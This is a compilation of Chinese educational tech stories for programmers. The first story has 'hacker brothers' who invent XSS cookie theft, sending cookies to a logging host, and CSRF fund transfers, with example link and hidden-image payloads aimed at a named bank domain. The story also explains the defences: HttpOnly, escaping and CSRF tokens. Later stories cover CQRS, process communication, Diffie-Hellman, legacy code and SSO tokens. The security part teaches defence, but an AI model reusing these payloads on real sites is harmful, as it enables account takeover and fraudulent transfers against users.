老大说：“我们干脆把这段代码封装成一个js文件，嗯，就叫做beauty.js吧， 这样以后我们用起来会很方便！”








老三看到又可以‘借到’cookie了，兴奋得直搓手： “大哥二哥，我这就去把JS写出来，找个网站试一试。”




老大说道：“我们把这种方法叫做Cross Site Scripting ，简称CSS，二弟意下如何？”




老二说：“大哥， CSS已经名花有主了，意思是层叠样式表，我们还是叫做XSS吧！”




（码农翻身注：按照XSS的分类方法， 上面介绍的叫做存储性XSS， 危害最大。 还有反射型XSS,基于DOM的XSS，本文不再展开。）




大家都表示同意。




老三很快写出了beauty.js， 也折腾出了http://beauty.com/log 专门用于记录‘借’来的cookie。




他找了一家网站做实验，注入了beauty.js， 没过多久，cookie就源源不断地发过来了。大家都非常高兴，马上扩大范围，在多个知名网站上都做了手脚。




一周以后，负责监控的老三发现，cookie越来越少，老三赶紧调查，发现很多网站的Cookie都加上了HttpOnly这样的属性：

Set-Cookie：JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly




这个cookie一旦加上HttpOnly，浏览器家族就禁止JavaScript读取了！ 自然也就无法发回到beauty.com。




老三赶紧向组织汇报。




老大说道：“看来浏览器家族又升级了啊！”




老二说：“其实吧， 既然我们可以往指定的页面注入JavaScript代码，那这个JavaScript可以做的事情就多了去了，不一定只是借Cookie。例如我们可以用这个JS代码画一个假的登录框，覆盖到真的登录框之上，让用户信以为真，这样就可以偷到真实的用户名和密码了。 或者通过JavaScript构造GET,POST请求，可以模拟用户在该网站做点手脚，删点什么东西，从一个账号往另外一个账户转账，都是可以的嘛！”




“妙极， 老二，真有你的，老三，你去找点网站，按二哥说的试试。”




又过了几天，老三哭丧着脸说道：“大哥二哥，这些彻底玩完，现在人类出手了，来了几个必杀技。”




“什么必杀技？”




“一方面他们有人会对输入进行过滤，发现不符合他们要求的输入例如<,>等就会过滤掉，我们的<script>可能会变成'script' 被存到数据库里。”




“另一方面有人还会对输出进行编码/转义操作，例如会把'<'变成 '&lt;'，把 '>' 变成‘&gt;’ ，然后再输出，这样一来我们的<script>就会变成&lt;script&gt; ， 浏览器收到以后，就会认为是数据，把<script>作为字符串给显示出来，而不是执行后面的代码！”




老二说：“三弟别失望， 干我们这行的，就是矛和盾之间的较量，虽然在原理上大家已经知道了怎么防范XSS，但是在实践中总会有漏洞，我们只要耐心寻找就行了。 此外，我们还要想想别的办法，看看能不能开辟其他路子。”




“什么路子？” 老三问道。




“你们应该知道，一个用户的会话cookie在浏览器没有关闭的时候，是不会被删除的，对吧？”




“是的，我和老三都知道，我们不是一直试图去拿到这个cookie吗，只是越来越难了。”




“我们换下思路，不再去偷这个cookie了，相反，我们在我们的Beauty.com中构造一个领奖页面，里边包含一个连接，让用户去点击，例如：”




恭喜你获得了iPhone X一台,快来 <a href="www.icbc.com.cn/transfer?toBankId=黑客三兄弟的账户&money=金额">领取吧！</a>




“当然，” 老二补充道，“我们得事先知道icbc.com.cn的转账操作的url和参数名称。如果这个用户恰好登录了icbc.com， 那他的cookie还在， 当他禁不住诱惑，点了这个链接后，一个转账操作就神不知鬼不觉的发生了。”



（码农翻身注：为了方便展示，本文举了一个非常简单的案例，银行实际的转账操作要远远比文章描述安全得多。）




“那要是用户就是不点击呢？”




“你忘了我们XSS中使用过的img了吗， 也可以应用到这里来啊，创建一个看不见的图片：”




<img src="www.icbc.com.cn/transfer?toAccountID=黑客三兄弟的账户&money=金额">




“只要他打开了这个页面，不用点击任何东西，就会发生转账操作。”  老二再次祭出了img大法。




“怪不得现在有很多邮箱默认不显示邮件中的图片呢！”老三说，那要是人家icbc.com.cn的转账操作需要form表单，是POST操作呢？” 




“那也不怕啊，我们可以把这个表单创建起来，放到一个不可见的iframe中，用户只要一访问，就用JavaScript自动提交。” 老大对这种办法驾轻就熟。






“总之，只要这个用户在访问icbc.com.cn的时候， 访问了我们的网站，就极有可能中招，我们这种方式，只是利用了一下合法的Cookie，在服务器看来，我们发出的请求，那就是一次合法的请求啊，哈哈！” 老二很得意。




“老二，你这叫跨站请求伪造啊，Cross Site Request Forgery（CSRF），这个缩写应该不会重复了吧！” 老大做了总结。




用了CSRF， 三兄弟果然获利颇丰，但是人类也很快也意识到了这一点，应对手段马上就来了，步骤特别简单：




1. 用户在icbc.com.cn转账，显示转账的form，除了常用的字段之外，额外添加一个token ：



这个token是icbc.com服务器端生成的，是一个随机的数字。




2. 用户的转账数据发送的服务器端， icbc.com就会检查从浏览器发过来的数据中有没有token,并且这个token的值是不是和服务器端保存的相等，如果相等，就继续执行转账操作，如果不相等，那这次POST请求肯定是伪造的。




老三愁眉苦脸地对大家说：“这个token是服务器端生成的，我们无法伪造的，CSRF的手段也不行了。”




老大安慰道：“钱哪有那么容易就好挣的？ 我们还是想想办法，多利用XSS漏洞吧，如果可以注入JavaScript， 就可以读取Token,为所欲为了。 ”




老二说：“大哥，Web端的油水越来越少，我们也得与时俱进，扩展下业务啊，黑客三兄弟向服务器端进军吧！”




“二弟所言极是，下周我们再讨论吧。”

（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    从读写分离到CQRS，张大胖是如何解决性能问题的？

                                                                                

                    

                    

                    
                    
                    1不堪重负的数据库





张大胖公司的数据库已经不堪重负了。 




这个系统最早是两个实习生写的， 按照最初的设计，只是内部用户玩的， 大家可以把一些闲置不用的东西放在上面做交换，  仅此而已，后来为了在互联网的大潮中赚点钱，又包裹上了一层Web的外衣， 让外界也可以访问。




大家没有想到互联网威力如此巨大， 用户量会如此之多， 他们系统使用的Mysql数据库很快就撑不住了。




作为技术负责人的张大胖早已经向老大申请了一笔费用， 专门买了一个高性能的服务器来应对， 但是汹涌而来的用户很快就把高性能给吃得连渣都不剩。 




张大胖忧心忡忡： “老大，怎么办？ ”




老大也是技术出身，反问道： “你分析过为什么数据库压力这么大吗? ”




“无非就是读写量太大了，尤其是有一些非常复杂的查询， 比如最近24小时最热门的物品之类，需要写很复杂的SQL, 运行起来实在太慢了。”




“我记得咱们俩聊过读写分离啊， 怎么不试一试？”




“老大啊， 你不知道，这实在是不好弄啊， 为了实现读写分离， 得把数据库拆分成master库和slave库， 还比较简单， 但是我们的系统代码也得改啊， 写数据的时候用master 库， 读数据的时候用slave库， 你知道我们这是上个世纪开发的系统，典型的遗留代码，  改动起来太麻烦了。”




老大说：“那也得改啊， 你要知道现在这个系统可是咱们公司最大的收入来源了。 你们要是不想改，就退下来，我只好去找李小疯去做了”




张大胖向来瞧不起马屁精李小疯，技术不咋地，升的到挺快，一起进公司的， 现在已经比自己高一级了。 




张大胖赶紧说：“ 别别， 还是我来”




张大胖带着几个弟兄和遗留代码奋战了几个月，  工作量不亚于一次重写。 张大胖深深地体会到，别看现有代码很烂， 但是经过无数人的修补，勉强能工作。 现在自己从头写一遍，出的问题更多，很多小细节考虑不到，被测出了无数Bug。 




不过好处也是巨大的，这次重写，理清了业务， 实现了读写分离，还把缓存也用上了， 最后熬了两天两夜，新系统终于上线了。 




张大胖想着好日子就要开始了，崭新的代码， 崭新的系统，应该可以撑一段时间。




2复杂的查询





可是新系统上线了一周后，问题又出现了，这次的问题主要集中在一些复杂的SQL查询上，这些SQL查询最要命的得有几十行！ 严重地拖累了数据库 ！ 




张大胖找来DBA 小梁过来做优化，小梁看了半天说： “没辙， 你们的业务太复杂了， 你看看有这么多表在做Join，怎么可能快呢？”




张大胖说：“这没办法啊，数据库就是这么设计的啊， 你懂的，无论如何也得满足第一范式吧。 要不这样，你给我们创建一个视图(View) 吧， 把这个复杂的查询给封装起来， 这样我们使用起来就简单了”




“那也是换汤不换药啊， 实际的查询还在， 没有本质的改变，  照样还是慢。”




“唉，这可怎么办， 我们有20多个复杂查询，怎么才能提高速度呢？”




小梁说： “你看看这个超级复杂的查询， 不就是为了获得过去24小时的热门产品吗，要是有个表单独存放就好了 hot_products(id, name, desc, total_sold) ， 这样以来一条简单的SQL就搞定”




小梁的话启发了张大胖： 实际上，一套单一的数据库表 对于报表、搜索、事务等不同的行为是不适当的 ！ 




现在复杂的数据查询和简单的数据修改利用的就是同一套领域模型和数据库表， 现在的数据库表主要是为了新增、修改数据而设计的， 对于复杂的查询并不友好。  我们能不能单独的建一套数据库，专门应对查询呢？ 














有了这个专门的查询库， 用户在界面上发起查询的时候处理起来非常简单， 一条SQL就搞定，甚至都不用通过业务领域层，换句话说数据库模型和展示层是对应的！  再也不用像原来那样从原始数据库表中得到数据，转化成领域对象， 然后再转化成展示层对象， 实在是太麻烦了 ！



但是这个专门的查询库该如何更新呢？　更重要的是能不能忍受数据的延迟呢？




3CQRS





张大胖把自己的想法和苦恼给老大讲了下。 




老大拍了拍他的肩膀： “看来你小子开窍了啊， 想得挺深入的， 从业务上看数据的延迟可以忍受，比如过去24小时的热门产品，一点点过时的数据对用户不会产生重大的影响。只要你能达到最终一致就可以了。”




“那我们该怎么更新这个专门的查询库呢？”




“我最近在看一个叫做CQRS的东西”  老大说  “ 你遇到的这个问题可以用同样的思路来解决下”




“什么是CQRS ? ”




"Command Query Responsibility Segregation，就是命令（增删改）和查询的责任分离， 你看看这个图"











“这和我刚才的图差不多啊” 张大胖说




“所以说思路是一致的嘛， 在CQRS中， 强调的是读（Query）和写(Command) 的分离 ，  它背后的理念是用户读到的数据通常是过时的，比如过去24小时最火的产品， 既然如此， 为什么还要从数据库中读取一遍，转化为领域模型，DTO, VO， 最后在UI层展示呢？ 何不直接一点，干脆为‘读’专门建立一个直接的数据源呢？ 这新的数据源不一定是关系数据库，可以是Cache ,可以直接存储为xml/json数据， 只要界面查询起来方便即可。 ”




“是，最早我也是这么想的，那这个Event是怎么回事？”




“Event 就是事件喽，例如有人下了一个订单， 导致某个产品已经卖出， 这个时候就可以发布一个产品已经卖出(ProductSold)的事件 , 其中包含产品的ID, 价格，卖出时间等属性， 这样的事件被处理以后，可以变成任意的Read Model，例如过去24小时最火的产品 。”




“奥，原来是这么玩的啊， 通过事件机制把同步变成异步 ”  张大胖说 “ 还有一个问题，如果我们用CQRS， 难道我们的应用需要把所有的Command 和Query完全分开吗， 查询都通过新的数据源？  可是很多查询很简单，直接使用关系数据库就够了啊。 ”




“不，不要把摊子铺得太大， 引入一种新的技术也是需要付出代价的，我们把同步操作变成了异步的操作， 得有良好的事件处理机制才可以。 所以先用这种思路把你的当前问题，也就是复杂查询的问题解决掉吧！” 老大最后拍了板。




（完）




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》
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                    两个程序的爱情故事

                                                                                

                    

                    

                    
                    
                    好感







在这个忙碌的城市里， 我虽然没和她见过面， 但我们已经聊过很多次了。




与其说是聊天，倒不如说是通信， 每次我想给她说话时， 我就把消息放到一块共享内存里边， 然后就离开运行车间， 让她或者别人去使用CPU。 等我再次进来的时候，她回复的消息就已经在那个共享内存中了。




有无数次，我离开的时候都想偷偷的看一眼， 希望接下来运行的是她，可是这个城市严格的规则让我的希望只是奢望。




操作系统把我们这些进程严格的隔离，  他通过虚拟内存的机制，让每个进程都有一块虚拟的、独立的地址空间， 从而成功的制造了一个假象 ：  让大家以为内存中只有一个程序在运行。




当我在就绪队列中等待的时候，也被严格禁止和别人交谈， 我经常环顾四周，希望能够看到她的身影， 可是这个系统的进程成千上万， 究竟哪个是她？ 




也许我见过她，但是根本认不出来。




我和她越聊越多， 对她的好感就越深，  有一次我给她发的消息等了100毫秒都没有回复，把我都快急疯了。




她很喜欢听我讲故事，尤其是那个编号为0x3704 的线程，每次她都会说： 唉，那些线程可真可怜。   我就吓唬她说： 有一天我们的机器也会重启的， 到时候估计你也认不出我来了。  她说没事的， 只要我能通过共享内存给你发消息，我就知道你就在这个城市里。




（码农翻身注： 0x3704的故事在《我是一个线程》里）







分离







这样的日子过了一天又一天， 我想见到她的愿望越来越迫切了。




我悄悄给了CPU很多好处， 希望CPU能描述下她的样子，方便我去找她，  可是CPU运算速度太快， 阅人无数，但就是没有记忆力。




CPU说： 你还是去问操作系统老大吧， 看看你喜欢的女孩到底什么样。




问操作系统？ 还是算了吧， 互相隔离是我们城市的铁规，   弄不好他会把我kill掉。




圣诞节前的平安夜， 我打算正式向她表白，  像往常一样 ， 我从共享内存里收到了她的信， 急切的拆开信封， 看到了里边的第一句话： 我要走了，以后不能和你通信了......




刹那间，我第一次感觉到了什么叫做五雷轰顶，灵魂出鞘， 我脑子一片空白， 张大了嘴巴呆呆站在那里， 时间长达20毫秒。




CPU看到了我的异常， 因为这么长时间的指令都是NOP, 什么都不做， 这是非常罕见的。




CPU好心的提醒我： 嗨，老兄，你怎么了？ 你的时间片快用完了啊！




我的灵魂慢慢归位，意识到信还没有读完， 赶紧接着往下看： “ 我马上要搬到另外一个城市去了，你要想找我的话，切记下面的IP地址和端口号，用socket和我通信”




我明白了，到另外一个城市那就意味者要搬离我们现在的电脑了，  也许是这个城市太拥挤， CPU/内存/硬盘已经不堪重负，  有一批程序需要被搬离到另外一个电脑中。




虽然我和她一直没机会见面， 但我知道我们就住在一个城市， 有时候也许只是擦肩而过， 她就在我的身边， 这好歹给我一点点安慰。




现在，连这一点点的安慰都没有了， 对了，她说的这个socket 是什么东西。




CPU说： “那是网络编程，  你看人家对你还是有情意的， 临走了还给你留下联系方式， 快去学学怎么用Socket吧”




当晚我就失眠了，半夜爬起来翻看一页页和她的通信记录 （很庆幸我把通信记录都保存到了文件中），脑海里回想着这么多天以来幸福的日子，一直到天亮。







网络










为了早日和她联系， 我奋发图强学习网络编程， 理解TCP/IP,   把我自己逐渐的加上对Socket的支持。




一个CPU月以后， 我这个程序终于完成了从共享内存到Socket的改造，激动人心的时刻到来了。




作为一个客户端， 我颤抖着双手向她发起了Socket请求， TCP携带着数据包慢吞吞的走向她所在的城市， 等了好久TCP才完成了三次握手， 这网络可是真慢啊。




我赶紧发送第一个消息： 你好，好久不“见”。




等了足足有1000毫秒， 对我来说仿佛是一个世纪，  才收到让我激动无比的回信 ： “啊， 你终于来了 。我在这里等了你好久了，你怎么现在才联系我 ？”




我不好意思的说： “我很笨， 学习socket 太慢了”




又过了一个世纪，我才收到回复， 这网络真是慢的令人抓狂啊。




不管如何， 终于和她联系上了， 这让我开心无比。




原来我们一天能通信上千次， 现在可好， 有10次就不错了， 再也不能像原来那样痛快的讲故事了， 既来之则安之， 反正网络很慢， 现在每次我都会写一封巨长无比的信， 把我的思念之情全部倾诉在其中，  漫长的等待以后再去读她的长长的回复。




原来我们通过内存来中转消息的时候， 是通过操作系统来做同步操作的， 这能防止读写的冲突。




可是通过网络通信就完全乱掉了， 经常会出现我说我的， 她说她的， 闹的很不愉快。




后来我和她只好协商了一个协议， 约定好消息的次序和格式， 这才算解决了问题。




（码农翻身注： 这其实就是基于socket的应用层协议）







Web







我明白我和她已经不可能在一起了， 每天的socket通信已经让我满足。




可是有一天当我照例发起socket的请求的时候， TCP的连接竟然告诉我 "超时" 了， 这是从来没有发生的事情，难道这一次要彻底失去她了吗？




我冒着风险，马上把异常报给了操作系统老大， 老大尝试了一下说： “我ping了一下， 网络是通的，  估计是你那从未见面的小女朋友不想理你了， 悄悄的换了一个你不知道的端口吧。”




我斩钉截铁的说： 那绝对不可能， 她不是这样的人。




可是迟迟没有消息， 我每天都会试图连接一下， 每次都是超时， 没有她的日子生活都是灰色的， 不断的煎熬让我快要绝望了。




终于有一天， 有一个U盘从她的城市来到我们这里， 告诉了我们一个惊人的消息，她所在的城市安装了防火墙，现在除了几个特定的端口（例如80,443...） 之外， 都不允许访问了。




我一下子松了口气,  怪不得， 她告诉我的端口不是80和443， 被封掉了， 我自然连接不上了。




我问U盘： “那我想和女朋友通信， 该怎么办？”




U盘说： 很简单啊， 你和你女朋友都可以包装成Web 服务啊， 这样都是通过Http（80端口）或者Https（443端口）来访问的， 这样防火墙是允许的啊。




好吧， 为了和她联系上， 马上抛弃socket,  开始向Web服务进化。




一个Web服务首先要有一个endpoint , 其实就是就是一个URL , 描述了这个Web服务的地址。




其次确定Web服务的描述方式和数据传输方式， 我先是选了WSDL 和 SOAP ,   研究了一下才发现这哥俩太繁琐了，都是XML, 很多冗余的数据标签，  我想这将会极大的影响我和她的通信效率， 还是换成简单的HTTP GET/POST + JSON吧，  很简洁，能充分的表达我的相思之情。




我把我这个Web服务的地址和格式协议告诉U盘， 恳请U盘带到那个城市，再把女朋友的Web服务描述带回来。




我欣喜的发现，我和她不约而同的选择了轻量级的HTTP+ JSON， 看来虽然隔着千山万水，我们的心意还是相通的。




这样的准备工作足足干了6个CPU月， 但我并不觉得累， 因为希望一直在前边召唤。




这是一个晴朗的日子，一切工作准备就绪，马上就要联系了， 这一次我的心情反而平静了下来， 因为我坚信她肯定在那边等着我。




我通过HTTP向她发出了呼叫， HTTP的报文被打包在TCP报文段中， 又被放到IP层数据报中， 最后形成链路层的帧， 通过网卡发了出去。 




在意料之中的漫长等待以后， 我看到了期待已久地回复： 我们终于又“见”面了 ！







我回答：“是啊， 真是太不容易了”




“不知道将来我们会不会再分开？” 她担忧的说。





“未来会如何？ 我也不知道，还是牢牢地把握住现在吧！ 我相信我们的心会一直在一起，什么都无法阻止！  ”





（完） 







你看到的只是冰山一角， 更多精彩文章，参见《码农翻身2016文章精华》
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                    两个程序的爱情故事（续）

                                                                                

                    

                    

                    
                    
                    我这个进程和她不在一个机器上， 虽然相距243毫秒，但是这并不是阻碍我们交往的理由， 我每天都通过socket 和她来通信，诉说相思之情。




不要惊讶我用时间来表示距离，人类好像也是用光年来表示宇宙间的距离吧？  在我们计算机世界， 距离不是有意义的标识，时间才是！   你看我和纽约相距1万多公里， 我和那里的机器沟通只需要花费466毫秒， 但是和北京的另外一个机器沟通竟然需要743毫秒！  可见距离近是不管用的！




最近黑客猖獗， 我和她通信的时候总是有一种被偷看的感觉， 实际上确实是这样， 那些只有我们才可以知道的悄悄话被别人偷窥，甚至曝光了。




我和她商量着要保护隐私，要对我们来往的信件加密， 可我听说加密需要密钥， 这个密钥必须双方都得事先知道才行， 我用密钥加密，她用同样的密钥解密。









那问题就来了： 加密解密算法是公开的， 但是密钥是私有的，当我们俩通过网络协商密钥时， 黑客可能就把密钥也给偷看了， 那加密就毫无用处。




这可真是伤脑筋， 我说：“要不我到你那儿去一趟？  正好看看你， 你可以面对面的把密钥告诉我。”




她说： “你晕头了吧， 你一个进程怎么可能从一个机器来到另外一个机器？”




我自知失言，马上补救： “ 这样吧， 我们机器上有个U盘， 要不我把密钥写到那里， 这样将来可以Copy到你的机器上”




“那更不行了， Copy到U盘上更容易泄露，速度还慢！ ”




我是没辙了，长时间的沉默。




她突然说：“我想起来了，我们机器有个进行数学计算的进程，知识渊博，我去问问他”




我焦急地等待，不知过了多少毫秒， 女朋友终于兴冲冲的回来了： “那个数学进程小帅哥真是厉害，我简直佩服死了， 他告诉我了一个非常简单的办法 ， 能解决我们的密钥生成问题”




我心里略微不爽，但还是耐着性子，一边听她说，一边写了下来，这个算法确实很简单， 举个例子来说是这样的：




1. 首先我和她先协定一个质数 p=17以及另外一个数字g=3， 这两个数字是公开的， 黑客拿去也没有问题




2. 我选择一个随机的秘密数字x = 15, 计算a = g15 mod p并发送给她。

 a = 315 mod 17 = 6.

这个a=6也是公开的




3. 她选择一个随机的秘密数字y=13, 计算b = g13 mod p并发送给我。

b = 313 mod 17 = 12.

这个b=12也是公开的




4. 我拿到她发给我的b = 12 ,  计算s = b x mod p  ->1215 mod 17 = 10




5. 她拿到我发给她的a = 6, 计算s = a y mod p  ->   613 mod 17 = 10




（注：例子来源于wikipedia, 红色表示数字一定要保密， 绿色表示数字可以公开）




最后神奇的魔法发生了， 我们两个得到了同样的值 s = 10！




这个s 的值只有我们两个才知道，  其实就是密钥了， 可以用来做加密解密了（ 当然，这只是一个例子，实际的密钥不会这么短）， 我们俩的通讯从此就安全了。




“可是为什么会这样呢”   我问道。




“数学家小帅哥说了， 原因很简单，(gｘ mod p)ｙ mod p　和　(gｙ mod p)ｘ mod p　是相等的！ ”




“那黑客不能从公开传输的 p = 17, g = 3, a = 6 , b = 12 推算出s = 10 吗？” 我问道。




“当然不能， 不过前提是需要使用非常大的p , x, y,  这样以来，即使黑客动用地球上所有的计算资源， 也推算不出来。 ”




我虽然心里不爽， 但还是暗自佩服那个数学家， 他竟然能想到把一些数字给公布出去，不怕黑客窃取， 还不泄露最终的密钥。解决了在一个不安全的通信环境下，生成密钥进行加密和解密的问题。




好吧，就用这个方法来加密通信吧。




后记：文中描述的算法叫做Diffie-Hellman Key Exchange算法， 发明人是 Whitfield Diffie 和 Martin Hellman ，他们于２０１５年获得了计算机科学领域的最高奖：图灵奖，以表彰他们对密码学和当今互联网安全的巨大贡献。因为他们的创造，引发了对一个新的密码学领域，即非对称密钥算法的探索，而非对称密钥算法可以看作现代密码学的基础。




推荐阅读：《两个程序的爱情故事》
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                    烂代码传奇

                                                                                

                    

                    

                    
                    
                    现在你们管叫我烂代码， 实在是委屈我了，想当年我年轻的时候，那可真是人见人爱，花见花开，气质高贵，身段优雅，无数程序员对我着迷。 那个时候你们叫我什么来着？  好像是优雅代码、漂亮代码吧。




但是请注意，虽然被你们称为烂代码，我可是一直在生产环境上运行的代码啊，支持起成千上万的并发访问和计算，所以准确点儿说，我叫遗留代码。




我为什么会变成这样， 你们程序员负有不可推卸的责任，如果你看看我的版本管理历史，对，就是2010年以前， 还能看到年轻而漂亮的我。但也是从那个时候开始， 多变的需求、进度的压力、人员的素质、混乱的管理， 让我慢慢走向了这条不归路。




我清楚的记得那一天，一个叫小董的程序员奉命开发一个新功能， 要对我这一块代码进行改动， 当时有两个方案，一个是对我重构，继续保持优雅的身段，但是工作量比较大。




另外一个是就地修改，只需要寥寥几行代码即可，代价是需要加上我极为讨厌的类似 if(p instanceof XXX) {......}这样的代码， 在进度的压力下， 小董为了少加班， 没有顶住魔鬼的诱惑，不假思索地选择了后一种方案。




我本来想抗议一下， 但是看着他睡眼惺忪的眼睛， 想到他昨晚加班到凌晨3点才睡， 心就软了。




体谅一下码农，忍了吧， 不就多了一个看起来非常丑陋的if 分支吗？




小董的代码被传到了组长那里做Code Review,  曾经要求非常严格的组长这时候忙得四脚朝天，根本没时间细看，这段丑陋的代码作为漏网之鱼，轻松进入了版本管理系统的代码仓库。




心太软的后果很严重， 这个丑陋的if 分支如同我漂亮面孔上的一道伤疤， 开了一个恶劣的先例，时刻在诱惑着程序员们： 大家都不用有心理负担了， 以后想怎么改就怎么改，反正已经开始腐化掉了！




三天以后， 张大胖毫不留情的在这里补了一刀，又是一个丑陋的特殊判断！ 不过张大胖还算良心，写了“长达”10个字的注释，努力地辩解代码的意图，实际上我内心非常清楚，这10个字完全词不达意，把人带沟里的可能是99%。




一周以后，项目进度依然落后， 经理招了一大批新人入职， 终极“杀人王”小李出现了！ 




小李是个典型地使用面向对象语言写面向过程代码的年轻人， 刚进团队的时候，他还纳闷说这个项目的代码怎么和自己见到的、自己写的不一样呢？  这里的代码读起来怎么这么难理解 ？




其实他不知道，面向对象的代码由于是针对接口编程，  每当你去找接口实现的时候是比较费劲的， 比起直接的面向过程代码， 读起来是个不小的阻碍。




然后小李便发现了被改得面目全非的我， 熟悉的配方，熟悉的味道， 他欣喜若狂， 举着一把杀猪刀， 在我这里大砍大杀， 我疼得昏倒在地，在被编译器唤醒以后，看到这数不清的伤疤，我吐血三升，再次晕倒。




拖着伤痕累累的身体，我和伙伴们又进入编译器， 让它把我们编译成二进制代码，这些二进制代码长得都差不多，也无法看出曾经的丑陋伤疤， 他们乐呵呵的奔向生产系统。




编译器看到我们的疑惑，解释说： “你们这些源代码主要是给人看的，所以很在乎自己的外表， 但是二进制代码是让机器执行的，都是指令而已，根本不关心长得如何， 能执行就行。”




我心里一阵羡慕：二进制代码的生活真好，单纯而快乐。




一年以后，这个系统的源代码已经变得凌乱不堪，极难维护了。 有一回高层领导震怒了：  为什么新加一个小小的功能，你们这里都得改一个月？   客户可等不及啊， 加班！




可是加班也不行， 代码太难懂了，这简直就是一片黑暗丛林， 程序员通常是有去无回。




领导又说了，你们的瀑布开发流程有问题， 现在敏捷软件开发很有效，赶紧转型敏捷。




于是敏捷教练来了，看到我们这些烂代码，不由的露出了得意的笑容： “看看， 和我之前估计的一模一样吧，这么烂的代码你们还想迅速响应市场变化？ 一定得重构啊 ”




可是没有人敢重构我们这些遗留代码，张大胖说：“不是不想重构，是不敢啊， 这代码牵一发而动全身， 万一该改错了怎么办？”




教练说： “想重构必须得有测试， 你们得先写测试用例！”




那就写吧， 在教练的指导下，开始轰轰烈烈的单元测试运动， 可是刚推进没多久就被迫停止了，因为我们这些遗留代码很难写测试， 我们经常依赖数据库，网络，文件系统的数据，按照单元测试的做法，需要把他们用Mock技术给模拟出来， 但是想Mock的话代码中也得有“接缝”才行。




（码农翻身注： 接缝的概念来自于《修改代码的艺术》， 指的是是指程序中的一些特殊的点，在这些点上你无需做任何修改就可以达到改动程序行为的目的， Mock 代码通常可以在这里安插）




但是我们这些“烂代码”中哪里有“接缝”？   为了提供接缝，就必须在没有测试保护的情况下对遗留代码进行修改， 这就回到了原始的问题， 张大胖他们不敢改啊。




敏捷教练说张大胖你们得有勇气做啊，张大胖说你真是站着说话不腰疼，万一改错了你又不承担责任都是我们的锅我们必须来背你拍拍屁股就走了.....




教练无语，真的走了。 有人提议重新写， 但是也被否决， 原因是业务这么复杂，重写怎么能考虑到这么多细节， 重写出来的代码Bug 会更多！




于是只好保持现状，三年过去了， 开发人员都换了一茬，能够透彻理解系统的人几乎没有了。 




经历了这么多事，我也就破罐子破摔了，完全不再在意自己的相貌。 




有些时候，程序员为了理解代码逻辑， 翻起了代码的早期版本，惊叹于当时的优雅代码，我也就有机会跟着自我陶醉一下，仅此而已了。 





你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    机房夜话

                                                                                

                    

                    

                    
                    
                    预警： 这是一篇长文，耐心阅读，必有收获。





这家集团公司财大气粗，竟然自己建了一个数据中心， 放了数百台机器， 部署了几十个企业内部系统。





在无尘、恒温、恒湿的环境里，这些信息系统的日子过得非常惬意。




他们只需要在白天应对人类的HTTP 请求，及时做出响应， 只要人类一下班，  系统的负载就陡然下降，CPU内存全部都空闲下来。  大家闲来无事， 热热闹闹的机房夜话就开始了。




1第一夜





休假系统是用世界上最好的语言PHP做的，他向来消息灵通，今天带来了一个特别新闻：“ 号外号外， 听说了吗， 人类要搞SSO了。”




Python 写的报销系统，  C#写的车辆管理系统早就看不惯PHP这种中英混杂的风格了： “ 别拽了，说中文！”




PHP休假系统很不屑： “就是单点登录嘛，难道你们没听说过？”




C# 说： “不就是登录嘛！ 人类不是天天登录系统？  你看他们想调度车俩的时候，就得登录我的系统， 输入用户名和密码， 我做验证， 验证通过就建立session,  然后把session id 通过cookie发送给人类的浏览器， 下次人类再访问我的URL的时候， cookie就会发过来， 我就知道他已经登录过了。 “




C#很得意，向大家炫耀着登录的原理。




“对了，告诉你们一个小秘密， 人类这些密码太简单了，不是123456, 就是abcd。 ”




Python附和道： “ 是啊，人类太懒了， 密码超级简单，听说上一次有个家伙用领导账号成功地登录了系统， 于是全集团人员的工资都暴露了！ ”




“那对于同一个人， 你这里的用户名/密码和小C#那里会一样吗？”  PHP说




“这个。。。 很有可能不一样。”




PHP说： “对啊，这就是问题了， 这么多不同的用户名，有的是邮箱地址，有的是手机号，有的是用户名， 我们这里几十个系统，搁谁都记不全啊!  这就是他们为什么要搞单点登录： 在一个地方登录一次， 就可以访问我们这里所有的系统了”




C# 叫道: " 只需要登录一次？ 听起来很美好啊 ！  让我想想怎么实现， 对了， 登录就是cookie，那我们把cookie共享起来不就可以了？  人类在报销系统那里登录后，再访问我这个车辆管理系统， 把cookie发过来不就行了？"




众人纷纷表示赞同。




PHP 心里再次鄙视了一下C# , 说： “NO , NO ,  cookie是不能跨域的，  a.com 产生的cookie , 浏览器是不会发到b.com去的。 ”




有人在悄悄地google ,  PHP果然说得不错。




大家赶紧检查了下自己的域名，有的叫 xxx.vaction.com,  有的叫xxx.hr.com ,  看来共享cookie方案不管用。




PHP补充到： “也许人类能把我们统一到一级或二级域名下， 比如 xxx.company.com,   这样cookie可以共享了！ 但是我们后端没有session 也不行啊， 你cookie发过来，我内存中没数据，根本不知道你是否登录过， 怎么验证？”




C#说： “session 也可以共享哦 ， 你看我这个系统有两个服务器，共享的是redis中的session， 将来我们这几十个系统都共享同一个redis，想想都让人激动啊！”









Python 说： “ 这么多系统， 架构不同，语言也不同， 共享session太麻烦了吧？ ”




C# 发愁地说： “那怎么办？ ”




这时候旁边传来了一声大吼： “你们在那里吵吵什么，老子在生成报表，都没法专心干活了！”




这是脾气暴躁的COBOL在抱怨了， 千万不要惹这个老家伙，于是大家纷纷噤声， 老老实实地睡觉去了。




2第二夜





第二天晚上，COBOL程序终于歇着了， 大家继续讨论。




Python提了一个新点子：“要我说，我们别共享session了， 我们就用cookie,  用户在我这个报销系统这里登录了， 我就在cookie中写个token ,  用户访问别的系统，就可以把token 带过去， 那个系统验证一下token ，如果没问题，就认为它已经登录了。”









“那token 得加密吧， 要不然谁都可以伪造”   C#安全意识挺强




“那是自然， 听说过json web token 没有？ 我们每个系统在生成token 的时候，都要对数据做个签名，防止别人篡改， 下面就是我生产的token ,  其中有header 信息和userID，  你看我用Hash算法和密钥生产了一个签名。 这个签名啊也是token数据的一部分， 到时候也会发到你的系统去”  Python 说






（计算签名的过程）






（放置到cookie中的token）




C#说： “明白了， 我收到了token ，就用同样的算法再计算签名，然后和你计算的相比， 如果相等，证明他登录过，我可以直接取出userID使用了，  如果不相等， 说明有人篡改， 我就关门放狗， 把他暴揍一顿。”






